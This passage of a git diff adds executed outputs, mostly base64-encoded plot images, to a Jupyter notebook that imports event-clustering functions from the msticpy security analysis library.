WxyAel7Hjgfz+x4E/gYX9xVEPoSa+G9aqDgvt9HgFvx7/Y1/KFsaEPpi7SuIAiCIGgCRA87CIIgCJoAEbCDIAiCoAkQATsIgiAImgARsIMgCIKgCRABOwiCIAiaABGwgyAIgqAJEAE7CIIgCJoAEbCDIAiCoAnw/2O1JNuN7fr9AAAAAElFTkSuQmCC\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], "source": [ "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features\n", "from tqdm.notebook import tqdm\n", @@ -702,14 +3682,35 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 18, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:19:52.943265Z", "start_time": "2020-05-16T02:19:51.149746Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "image/png": 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2bdpQtGhRPDw8OHHiBPAgeDVt2pRatWpl+/08Dzk5OTFv3jy++uorOnTowJw5cxg4cCADBgzI9fnr16/PypUruXfvHgMGDMDb25s1a9YwYsSILMtjT5s2jbp16/Luu+/SpUsXUlNTWbFiRZ5+N1JObG1tmT17Nvv27aN9+/YEBQXRpEkTmjdvnuvn2adPH3r16sWECRPo2rUrTk5Oj7wj9HcUKVKEJUuWcPv2bTp16sSAAQOoW7cus2fP/st9lS9fns8++4wTJ07g7e3N2LFj8fHxyfGLZvv370/JkiWZNm0aBQoUYOHChZQqVYqePXvSo0cPSpUqxeLFi3O1sEO9evWYOnUqS5cupW3btowbN47evXs/8j1af2SVmZ/fVCUiIiIiFsHf359OnTrRtWtXc5cikiOt9iYiIiIif9vu3bs5fPgwP//882OnvIk8DRR+JN9cv34XozHrwGLp0kX47beUHI6Q/Kb7b356Bual+29euv/mlx/PYMmS/3Ly5HFGjhzDvXuZ3Lv350tRm0O5cn/tfRZ5Pin8yBNlY5P7L+eSvKf7b356Bual+29euv/mlx/PYNasj/O8T5H8ogUPRERyEBOzi5iYXeYuQ0RERPKIRn5ERHKwfPkSANzcWpi3EBEREckTGvkRERERERGLoPAjIiIiIiIWQeFHREREREQsgsKPiIiIiIhYBIUfERERERGxCAo/IiIiIiJiEbTUtYhIDtLS7pu7BBEREclDCj8iIjkwGAzmLkFERETykKa9iYiIiIiIRVD4ERERERERi6DwIyIiIiIiFuGpCj93795l4sSJdOjQAW9vbwICAjh+/HiO7RMTE2nZsiUAwcHBRERE/OVzHjt2jLCwMNPPKSkpzJw5k9atW+Ph4UH79u1Zt27dX7+YPxEQEGD67OjomOf9i4iIiIhIVk/NggdGo5F+/frh4uJCVFQUNjY2HDhwgH79+rF582ZKly6dL+c9e/Ys169fN/383nvvUalSJaKjo7Gzs+PKlSv06dOHcuXK0aJFizw778GDB/OsLxERERER+XNPzchPbGwsly5dYsiQIdjYPMhkrq6uTJ8+HaPRyKJFi/Dw8MDT05MZM2Y8dhWmqKgofH198fb2ZvTo0dy//2C52ujoaNNoTnBwMDdu3ODjjz9m586dLFy4kB9++IH4+HjGjRuHnZ0dAC+88AKTJk0y/RwQEEBsbCyQdeTp2rVrDBw4ED8/P/z9/dm3bx8A+/fvx8/PDz8/P3r37s2NGzeYMmUKAJ06dXrsPfnmm2/w9vbG09OTgQMHcu3aNdO98vT0xMfHh5CQENMo0tKlS/Hy8sLHx4fx48dn2+fixYvx9fXFy8uL0NBQMjMz2bFjB23atOH+/ftcvHiRZs2akZSUlOM1iYiIiIg8i56a8HPixAlq1qxJgQJZS2revDlxcXHs3LmT8PBwIiMjuXjxIqtXr862n/j4eNauXcvq1avZsGEDZcuW5fPPPycpKYnp06ezZMkSNm/ejMFg4IcffmDIkCG0bNmSd999l6NHj9KgQQNsbW2z9Ons7Mzrr7/+2PqnTp2Kv78/ERERLFy4kPHjx3P37l0WLFhASEgIERERNG7cmBMnTjB27FiAx06nu379OuPHj+eTTz4hOjqahg0bMmnSJNLT0xk5ciRhYWGmETJ4sCTvp59+Snh4OBEREaSnp5OUlJSlzz179hAXF8f69euJiooiKSmJjRs30qpVKxo0aMCiRYsYNWoUQUFBlC9fPsdrEhERERF5Fj01094KFChgGl35owMHDtC+fXsKFy4MgL+/P1FRUTRv3vyRtrGxsVy8eJHOnTsDkJ6eTq1atTh8+DANGzakQoUKAKb3fB73ntDy5csJDw8nPT2d6tWrM3/+/Bzb7tu3j59++omPP/4YgIyMDBISEmjVqhWDBw/mjTfeoFWrVjRp0iQXd+PBu0j16tWjcuXKAHTp0oXFixdz5swZypYtS82aNQHo2LEjU6dOxdraGmdnZzp27EirVq3o3bs35cuXz9Ln/v37OXbsGH5+fgCkpqZSsWJFAMaMGYOHhwcNGzakffv2j70mJyenXF2DiIiIiMjT5KkJP3Xq1GHlypVkZmZiZWVl2j5nzhz279+Pr69vlvYZGRnZ9mMwGGjXrp1pdCU5ORmDwcDBgwez9Hvjxo1Hjq1bty7Lli3DYDBgbW1Nz5496dmzJ7GxsVmCT2Zm5iM1GI1Gli1bRqlSpQC4cuUKZcuWxcnJCXd3d7755hvCwsI4duwY77777p/eD6PRmOXnzMxMMjIysLa2fmTfQwsWLODIkSPs2bOHvn37MmvWLBo1apTl3vTq1YvevXsDcPv2baytrYEH0/asra356aefuH//PnZ2djlek4iIiIjIs+ipmfb26quvUrZsWebPn296nycmJoaIiAh69erF5s2bSU1NJSMjg/DwcFxdXbPtx8XFhf/9739cv36dzMxMQkJCWLZsGXXr1uXIkSNcvXoVgGnTprFjxw6sra1NIeaVV17hpZdeYvLkyaSmpgIPRkdiYmJM0/FKly7N2bNnAfj6669N53V1dWXlypXAg0UUPD09uXfvHp06dSI5OZm3336bt99+mxMnTgBkOW926tevz9GjR0lMTARgzZo1uLi4UL16dW7fvs3p06eBB+8xwYMw5+HhQY0aNXj//fdp0qSJqc3va9ywYQPJyclkZGQwaNAgtm3bhsFgYNSoUYwZM4ZGjRrx0UcfPfaaRERERESeRU/NyI+VlRULFixg+vTpdOjQARsbG0qXLs3ixYupVasWly5dwt/fn4yMDJo2bUqPHj24fPnyI/3UrFmTwYMH06tXL4xGI05OTvTv3x87OzvGjBlDnz59MBqNNGjQAD8/P37++Wfmz5/PrFmzGDFiBJ988gkLFiwwLUaQmppK8+bNTdPk+vbtS3BwMOHh4bRq1cp03rFjxzJ+/Hg8PT0BCA0NpVixYgwbNozg4GBsbGwoUqSIabGDVq1a4e3tbZp25+zsbOqrYsWKbN68mUmTJjF48GDS09OpWLEiU6dOpWDBgoSGhhIUFESBAgWoVq0ahQoVokyZMnTp0oWOHTtSuHBhqlWrhr+/P0lJSfTv358NGzbQsmVLTp06RefOnTEYDLi5ueHr68tnn31G2bJlad26NY0bN6ZDhw60bt06x2sSEREREXkWWWU+nMMlzwSj0cisWbMYPHgwRYoUYenSpSQlJREcHGzu0h5x/fpdjMasv17lyhXn6tU7ZqpIdP//mh49OgKwYsX6POtTz8C8dP/NS/ff/Cz5GZQrV9zcJchT4KkZ+ZHcKVCgAKVKlaJjx47Y2tpSqVIlpk6dau6yRERERESeego/z6D+/fvTv39/c5ch8tx7uCCIiIiIPB8UfkREclCwYPbL74uIiMiz6alZ7U1ERERERCQ/KfyIiIiIiIhFUPgRERERERGLoPAjIiIiIiIWQeFHREREREQsgsKPiIiIiIhYBC11LSKSg5493zF3CSIiIpKHFH5ERHLg5tbC3CWIiIhIHtK0NxERERERsQgKPyIiIiIiYhEUfkRERERExCIo/IiIiIiIiEXQggciIiIiki9mzJjM9etXKVmyFFWrViMgoLe5SxILp/AjIiIiIvni3Ll47t9L4dbVJHOXIgJo2puIiIiI5CM7G2uqlCxi7jJEAIUfERERERGxEAo/IiIiIiJiERR+RERERETEIij8iIiIiIiIRdBqbyIiIiKSLwyGDDAauXU/HW7dNHc5Igo/IiIiIpI/MjIywJjJzdR0MCj8iPlp2puIiIiIiFgEhR8REREREbEICj8iIiIiImIR9M5PHklMTKRt27Y4ODgAkJqaSsOGDRk+fDj/+te/ct1PbGwsAwYMoEqVKgAYjUaSk5Pp168f3bp1y5faRURERMzlt99+45NPPmTw4KGUKlXa3OXIc07hJw+98MILbNiwAYDMzEzmzJnDkCFDWLly5V/qp06dOnzxxRemn0+ePEnHjh3x9PSkWLFieVqziIiIiDlFRa3j9OmTREaup3fvfuYuR55zmvaWT6ysrHjvvfeIj4/n0KFD9OjRAz8/Pzp27MiRI0cA2LdvH15eXnh6evLvf/+bu3fvZtvXL7/8QuHChSlYsCAREREEBweb9gUEBBAbG0tsbCzvvPMOAwcOpE2bNgwZMoS0tLRH+tqzZw8dO3bEx8eHwYMH89tvv3Hp0iVef/11zp07R1paGp6enuzatQuDwcD06dPx9fXFy8uL//73v/lyr0RERMQy/fbbb+zZ8w2ZmZns2fMNN2/+Zu6S5Dmn8JOPChYsSNWqVYmNjaVFixZEREQwZMgQvv/+e9LS0hgxYgQzZ84kOjqaGjVqEBkZCUBcXBze3t60bt0aFxcXNm7cyJIlSyhYsOBjz3f48GHGjx/P1q1b+fXXX9m7d2+W/Tdu3GD27Nl8/vnnREVF0bRpU2bNmsX//d//MWLECEJCQvjkk09wdnamRYsWrF27FoDIyEjWr1/Pjh07+O677/LnZomIiIjFiYpaR2ZmJgCZmUYiI9ebuSJ53mnaWz6zsrICYMmSJZw8eZLmzZvTo0cPTp8+Tfny5XFycgJg+PDhwIN3fh5Oe0tLSyMwMJBixYpRr169Pz3Xyy+/TIUKFQBwcHDg1q1bWfYfPXqUS5cu0bNnT+DB+0QlS5YEwN/fn61btxIdHc2mTZsA2L9/PydPnuTAgQMApKSkcPr0aV599dV/eltERERE2Lcv5sF3AfHgO4H27dujqW+SrxR+8lFaWhrnz59n9uzZvPXWW+zatYstW7YQGRlJUFCQKRgB3Llzh+Tk5CzHFyxYkClTptCmTRu2bNmCh4cHVlZWpn8hAUhPTzd9trOzM33+YzsAg8FAw4YNWbRoEQD37983nfP+/ftcvnwZg8HA5cuXqV69OgaDgcDAQFq3bg08GDkqWrRoHt0dERERsXSNG7uxe/dOMjIysLGxoXHjZuYuSZ5zmvaWT4xGI/PmzaN+/fqsXr2ajRs34uvry/jx4zlx4gTVqlXj+vXrnD17FoDPPvuMVatWPdJP8eLFee+99wgNDSU1NZXSpUtz7tw5MjMzSUhI4PTp07muqX79+hw5coTz588DsGDBAkJDQwGYO3curq6ujBo1ilGjRmEwGHB1dWXt2rWkp6eTnJxM9+7dTe8riYiIiPxTPj6dTP8YbGVVAF/fjmauSJ53GvnJQ1euXMHb2xt4EH6cnJyYM2cOKSkpDB8+nIiICKytrZk5cyZ2dnaEhYUxcuRI0tPTqVKlCqGhocTFxT3Sb6dOnfjiiy9YunQpffr0ITw8nLZt21KtWjVeeeWVP62rX79+DBkyhLp16zJt2jQ++OADjEYj5cuXJywsjCNHjrBt2zY2btxIsWLFiIyMZMmSJbz99ttcvHgRX19fMjIy8PPzw8XFJc/vm4iIiFim0qVL06yZOzt3/o9mzdy11LXkO6vMP86NEskj16/fxWjM+utVrlxxrl69Y6aKRPff/PQMzEv337x0/83vST+Dnj07g9GInY012Nrxn/8sf6TNk/qen3Lliudb3/Ls0MiPiIiIiJhN6dKlGTt2krnLEAuhd35ERERERMQiaORHRERERPKFjY0NZKRTqpAtFC9l7nJEFH5EREREJH9YW9uA0UBJO1soqfAj5qdpbyIiIiIiYhEUfkRERERExCIo/IiIiIiIiEVQ+BEREREREYug8CMiIiIi+eZ+hoGfb6WYuwwRQKu9iYiIiEg+cXB4mevXr1KyZCmqVq1m7nJEFH5EREREJH8EB48zdwkiWWjam4iIiIiIWASFHxERERERsQgKPyIiIiIiYhEUfkRERERExCIo/IiIiIiIiEVQ+BERixQTs4uYmF3mLkNERESeIC11LSIWafnyJQC4ubUwbyEiIiLyxGjkR0RERERELILCj4iIiIiIWASFHxERERERsQgKPyIiIiIiYhEUfkRERERExCJotTcRsUhpaffNXYKIiIg8YQo/ImKRDAaDuUsQERGRJ0zT3kRERERExCIo/IiIiIiIiEVQ+BEREREREYvw3ISfjIwMFi5cSLt27fDw8KBNmzYsWrSIzMzMPDtHbGwsAQEBj20zb9485sCqemcAACAASURBVM2bl2VbREQEwcHBf+lcjo6Oj92fkJDA6NGj/1KfIiIiIiKW7LlZ8GDixIlcu3aNNWvWUKJECe7evcugQYMoXrw4b731lrnLy3O//vorCQkJ5i5DREREROSZ8VyEn8uXL7Nx40b27NlDiRIlAChWrBjjx4/n7NmzXLt2jTFjxvDrr79iY2PD0KFDadasGffu3WPs2LGcPn0aKysr+vTpg4+PD+np6UyYMIHvv/+e8uXLY2VlxcCBA7Oc8+LFi4SEhHDz5k0KFSrEuHHjqFWr1p/WGhAQQM2aNfnuu++4f/8+o0ePpmnTpiQmJhIYGEhKSgr169c3tU9KSmL06NHcuXOHK1eu4Ovry/vvv8+UKVNITExk4sSJTJgwgcWLF7N161YMBgNNmzYlMDAQKyurLOfes2cPH3/8MRkZGVSuXJnJkyeTmpqKn58fK1aswN7eHn9/f4YPH46bmxuhoaEcPHgQg8GAn58fb7/99j9/WCIiIiIiZvJchJ9jx47h4OBAyZIls2x3cHDAwcGB999/H1dXV3r37k1CQgLdunUjKiqKJUuWULp0aTZt2sSNGzfo1KkTNWvW5NChQ9y7d4+vvvqKX3/9FU9Pz0fOGRQUxPjx46lVqxZnz55l0KBBbNu2LVf13r17l8jISE6ePEm/fv3YuXMnkydPxs/Pj06dOhEVFcWaNWsA2LRpEx06dMDX15c7d+7QvHlzAgICGDt2LPPnz2fChAns2bOHuLg41q9fj5WVFYGBgWzcuBFvb2/TOW/cuMHs2bNZvnw5JUuWZPXq1cyaNYupU6cyYsQIQkJCaNiwIc7OzrRo0YJVq1YBEBkZSVpaGn369KFOnTq8+uqrf/cxiYiIiIiY1XMRfoAsoxxfffUVCxcuxGg0UrBgQRITE5kyZQoA9vb21K9fn6NHj3LgwAGmTZsGQJkyZWjVqhUHDx5k3759dO7cGSsrKypVqsTrr7+e5VzJycnExcUxatQo07aUlBR+++03rKysHnnPKDMzM0t9nTt3BsDJyYly5cpx+vRpDh48yOzZswHw8vJi7NixAPTp04cDBw7w+eefEx8fT3p6Ovfu3cvS//79+zl27Bh+fn4ApKamUrFixSxtjh49yqVLl+jZsycARqPRFBb9/f3ZunUr0dHRbNq0ydTnyZMnOXDggOn6Tp8+rfAjIiIiIs+s5yL81KlTh3PnznH37l2KFStG27Ztadu2LYmJifTs2TPbMGIwGHLcbm1tjdFozPF8D0PVhg0bTNsuX75MqVKlKFmyJD///HOW9tevX88yKmVtbZ2lLxsbG9P54UGQK1DgwVoUM2bMICEhgQ4dOvDGG2+wb9++R+o2GAz06tWL3r17A3D79u0s53jYpmHDhixatAiA+/fvk5ycbPp8+fJlDAYDly9fpnr16hgMBgIDA2ndujXwYOSoaNGiOd4TEREREZGn3XOx2lvFihXx8vIiKCiI27dvAw9Wf9u1axcFChTA1dWV9evXAw9WSfvhhx9o0KBBlu03btxgx44dNGrUiMaNG7NlyxYyMzNJSkri4MGDWUZuihcvzosvvmgKP99++61pUQUXFxd27drFjRs3ALhz5w5btmzJMnq0ZcsWAH788Udu375NjRo1aNy4MRs3bgRg+/bt3L9/39R3nz59aNeuHefPnycpKQmj0Yi1tTUZGRkAuLq6smHDBpKTk8nIyMh2Cl79+vU5cuQI58+fB2DBggWEhoYCMHfuXFxdXRk1ahSjRo3CYDDg6urK2rVrSU9PJzk5me7du3PkyJE8eV4iIiIiIubwXIz8AISEhLB06VJ69uyJwWAgOTkZFxcX/vOf/1CkSBHGjx9PREQEAFOmTOGFF15g0KBBhISE4OnpicFgYMCAAdSuXZsaNWpw6tQpPD09KVeuHBUrVqRQoUJZppuFhYUREhLCZ599hq2tLR9++CFWVlbUqFGDf//736bFAQwGA506daJ58+amYxMSEvD19QXgww8/xNramvHjxxMYGMiaNWuoU6eOaZTl3//+NyNHjqRQoUJUqFCBOnXqkJiYiJOTE3fu3CEwMJCwsDBOnTpF586dMRgMuLm5mfrv168fQ4YMoW7dukybNo0PPvgAo9FI+fLlCQsL48iRI2zbto2NGzdSrFgxIiMjWbJkCW+//TYXL17E19eXjIwM/Pz8cHFxeRKPUkREREQkX1hl5uUX4Twndu3aRWZmJu7u7ty5cwcfHx/Cw8MpVarUP+47ICCAwYMHW0SQuH79LkZj1l+vcuWKc/XqHTNVJLr//1+PHh0BWLFi/RM9r56Been+m5fuv/lZ8jMoV664uUuQp8BzM/KTlxwcHBg5ciRz584FYMiQIXkSfERERERExHwUfrJhb29vWuo5r33xxRf50q+IiIiIiDyewo+IWKQ/rogoIiIizz+FHxGxSAUL2pm7BBEREXnCnoulrkVERERERP6Mwo+IiIiIiFgEhR8REREREbEICj8iIiIiImIRFH5ERERERMQiaLU3EbFIPXu+Y+4SRERE5AlT+BERi+Tm1sLcJYiIiMgTpmlvIiIiIiJiERR+RERERETEIij8iIiIiIiIRVD4ERERERERi6DwI5LHYmJ2EROzy9xliIiIiMgfaLU3kTy2fPkSQKuJiYiIiDxtNPIjIiIiIiIWQeFHREREREQsgsKPiIiIiIhYBIUfERERERGxCAo/IiIiIiJiERR+RERERETEImipa5E8lpZ239wliIiIiEg2FH5E8pjBYDB3CSIiIiKSDU17ExERERERi6DwIyIiIiIiFkHhR0RERERELMIzGX4SExNxdHRk/PjxWbafPHkSR0dHIiIi/lJ/ERERuLi4cO3atSznaNmy5WOPS0hIYPTo0QD8+OOPjBkzBoDjx4/TokUL3nrrLT766CN27Njxl+oBOHbsGGFhYQDs2LGDjz766C/3ISIiIiIi/98zu+BBqVKliImJwWAwYG1tDcCWLVsoU6bM3+ovOTmZCRMm8Mknn+T6mF9//ZWEhAQA6tatS926dQH45ptv8PLyYtiwYX+rFoCzZ89y/fp1AFq1akWrVq3+dl8iIiIiIvKMjvwAFC1aFCcnJw4dOmTa9u2339K4cWMAHB0dTdsjIiIIDg4GYObMmXh5eeHj48P8+fNNbdq0acPFixeJjo5+5Fz37t1j+PDhdOjQAU9PT6KiogCYMmUKcXFxTJw4kdjYWAICAti9ezerVq0iPDyc+fPnExwcbBqJ+u9//0ubNm3w8PAwjeqcOXOGgIAA/P39cXd3Z9WqVdy+fZuPP/6YnTt3snDhwiz1HzlyhE6dOuHl5UWvXr24ePEiAAEBAYSGhtKlSxfefPNNdu/e/ch1JCcnExQUhJ+fH97e3mzatAmA6dOnExgYCEB0dDRdunTBYDBw7NgxunXrhq+vL++8844p6ImIiIiIPIue2fAD0K5dO7Zt2wY8mCbm6OiIra1tju1/+eUX9uzZw8aNG1m1ahVnz57l/v0H38lia2vL9OnTmTFjRpbpbwDz5s2jdOnSbNq0iWXLljFv3jxOnTrF2LFjqVOnDhMmTDC1bd68OV27dqVr164MHjzYtP3YsWOsXLmS9evXs3HjRo4fP05cXBzr1q1j4MCBhIeHs3z5ckJDQylRogRDhgyhZcuWvPvuu6Y+0tLSGDZsGOPGjWPjxo107do1y+hSeno6a9asYdSoUdlOk1u4cCG1a9cmIiKCL7/8kkWLFpGQkMDQoUOJi4tj06ZNzJkzh9DQUAwGA2PHjmX27NlERkbSu3dvxo0b9xefkIiIiIjI0+OZnfYG0LJlS+bOnYvRaGTr1q20a9eOLVu25Ni+fPny2NnZ0bVrV9zd3RkxYgR2dnam/XXr1sXf358JEyYwatQo0/YDBw4wbdo0AMqUKUOrVq04ePBgltGlP3Po0CHc3d0pXrw48GAUCMDJyYmYmBg+/fRTzpw5Q0pKSo59XLhwgRIlSlCvXj3gQfgbP348d+7cAcDNzQ2Al19+mZs3bz5y/L59+0hNTSU8PByAlJQU4uPjsbe3Z/r06XTt2pVx48ZRtWpVzpw5Q0JCQpbwdffu3Vxfr4iIiIjI0+aZDj9FixalZs2afP/99xw4cIDhw4dnCT+ZmZlYWVmRkZEBgI2NDevWrePgwYPs2bOHrl278sUXX2Tpc/Dgwfj5+ZmmhD3s5/cyMzP/8hdZ2tjYYGVlZfo5KSmJwoULM2bMGEqUKIG7uzseHh5ZzvtHRqPxkW2/r+VhkPv9ef54fFhYGLVr1wbg2rVrlCxZEoDz589TpkwZ4uLiTG0rV67Mhg0bgAdf3PnHETERERERkWfJMz3tDR6MfsyePZs6depgY/P/s1zp0qWJj48nMzOTnTt3AnDixAl69OjBa6+9RlBQEA4ODpw/fz5LfwULFmT69OksWrTItM3V1ZX169cDcOPGDXbs2EGjRo2wtrY2Bas/8+qrr7J7926Sk5PJyMhg+PDhxMXF8e233zJkyBDeeOMN9uzZA2BaxOGPfVevXp2bN29y7Ngx4MECDxUrVqRUqVK5qsHV1ZVVq1YBcOXKFby8vLh06RJJSUnMnTuXNWvWcOLECXbv3k316tW5desW3333HQDh4eGMGDEiV+cREREREXkaPfPhx93dnZMnT+Lh4ZFl+/DhwxkwYABdunShWrVqANSqVYsGDRrQoUMHfH19eemll2jWrNkjfdatW5devXqZfh40aBA3b97E09OTHj16MGDAAGrXro2DgwN37twxLRbwOLVr16ZHjx507doVb29vXn31VRo3bsx7771H9+7d8fDw4Pvvv6dSpUokJiZSr149jh49yqxZs0x9FCxYkA8//JDJkyfToUMHvvzySz788MPHnnfHjh2mJbgHDx5MamoqHTp0oFevXgQGBlKlShXGjRtH7969sbe3Z9KkSUyYMIHU1FQ++ugjZsyYgaenJ5GRkUydOvVPr1NERERE5GlllfnHOV0ieeT69bsYjVl/vcqVK87Vq3fMVNGT0aNHRwBWrFhv5koeZQn3/2mnZ2Beuv/mpftvfpb8DMqVK27uEuQp8MyP/IiIiIiIiOSGwo+IiIiIiFiEZ3q1N5GnkbW1tblLEBEREZFsKPyI5LGCBe3+vJGIiIiIPHGa9iYiIiIiIhZB4UdERERERCyCwo+IiIiIiFgEhR8REREREbEICj8iIiIiImIRtNqbSB7r2fMdc5cgIiIiItlQ+BHJY25uLcxdgoiIiIhkQ9PeRERERETEIij8iIiIiIiIRVD4ERERERERi6DwIyIiIiIiFkHhR0TyTUzMLmJidpm7DBERERFAq72JSD5avnwJoBXwRERE5OmgkR8REREREbEICj8iIiIiImIRFH5ERERERMQiKPyIiIiIiIhFUPgRERERERGLoPAjIiIiIiIWQUtdi0i+SUu7b+4SREREREwUfkQk3xgMBnOXICIiImKiaW8iIiIiImIRFH5ERERERMQiKPz8DRMnTsTb2xsPDw/q1KmDt7c33t7e1KtXj6SkJFq3bs3JkydN7YcMGUKbNm1MP6ekpODs7ExqamquzhcREUFwcHCeX4eIiIiIiCXROz9/w4QJEwBITEykZ8+ebNiwIct+V1dXfvjhB5ycnDAYDJw6dYpixYqRkJCAvb09R44coUGDBhQqVMgc5YuIiIiIWCSN/OShli1bkpiYaAo/AEePHsXJyYkmTZoQExMDwHfffUeTJk0AWLRoER4eHnh6ejJjxgwMBgOJiYm0bduWbt260bt37yznmDp1KsOGDcNgMHDs2DG6deuGr68v77zzDgkJCQAEBAQwePBg2rRpk2UEKjk5maCgIPz8/PD29mbTpk0ATJ8+ncDAQACio6Pp0qX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OCw4OJiYmhk8//ZQzZ86QkpKS43XkVCNArVq1sgQfeDAidfHiRTp37gxAeno6tWrVAuDdd9/F39+fQoUKERYW9tj+FX5ERERE5Fn13IUfOzs7AKysrMjMzDRtz8jIwMbGhtKlS7N582a+/fZbdu/eja+vL5s3b87Sh9FoJCwsjNq1awNw7do1SpYsydq1a7P0+ceA8ccafl/Hiy++yNatW4mJieGbb75hyZIlbNmyJctxH3zwASVKlMDd3R0PD4/HLoSQU43R0dEUKlTokfYGg4F27doxduxY4MG0uYdf2nnnzh2Sk5NJTk7m5s2blClTJsf+RURERESeVc/kam+5UaJECW7evMmNGzdIS0sjJiYGgB07dhAYGEiLFi0YO3YsRYoU4dKlS1hbW5ORkQGAq6srq1atAuDKlSt4eXlx6dIlXn/9daKjozEajfzyyy/88MMPua5nxYoVzJs3j3bt2jFhwgRu3LjB3bt3sba2NoWQb7/9liFDhvDGG2+wZ88eANO+P8qpxpy4uLjwv//9j+vXr5OZmUlISAjLli0DHqye16NHD7p3787EiRP/Vv8iIiIiIk+7527k56HixYvTt29fOnbsSIUKFahbty7w4J2g7du30759e+zs7PDy8sLR0ZHbt28TFBTEv/71LwYPHkxISAgdOnTAYDAQGBhIlSpV6N69O/Hx8bRr145KlSpRo0aNXNfj4+PDsGHD8PT0xNramsDAQEqUKEHjxo2ZM2cOxYsX57333qN79+7Y2dlRs2ZNKlWqlOO7SznV+N1332Vp5+3tzeLFi6lZsyaDBw+mV69eGI1GnJyc6N+/P1u2bCEhIYE5c+aQmZmJv78/W7ZsybF/EREREZFnlVXm7+dxieSh69fvYjRm/fUqV644V6/eMVNF/0yPHh0BWLFivZkr+fue5fv/vNAzMC/df/PS/Tc/S34G5coVN3cJ8hR4bqe9iYiIiIiI/J7Cj4iIiIiIWITn9p0fkbxmbW1t7hJERERE5B9Q+BHJpYIF7f68kYiIiIg8tTTtTURERERELILCj4iIiIiIWASFHxERERERsQgKPyIiIiIiYhEUfkRERERExCJotTeRXOrZ8x1zlyAiIiIi/4DCj0guubm1MHcJIiIiIvIPaNqbiIiIiIhYBIUfERERERGxCAo/IiIiIiJiERR+RERERETEIij8iIiIiIiIRVD4EcljMTG7iInZZe4yREREROQPtNS1SB5bvnwJoKWxRURERJ42GvkRERERERGLoPAjIiIiIiIWQeFHREREREQsgsKPiIiIiIhYBIUfERERERGxCFrtTSSPpaXdN3cJIiIiIpINhR+RPGYwGMxdgoiIiIhkQ9PeRERERETEIij8iIiIiIiIRVD4ERER+X/s3X98zfX///H7cbYzMpnWeL+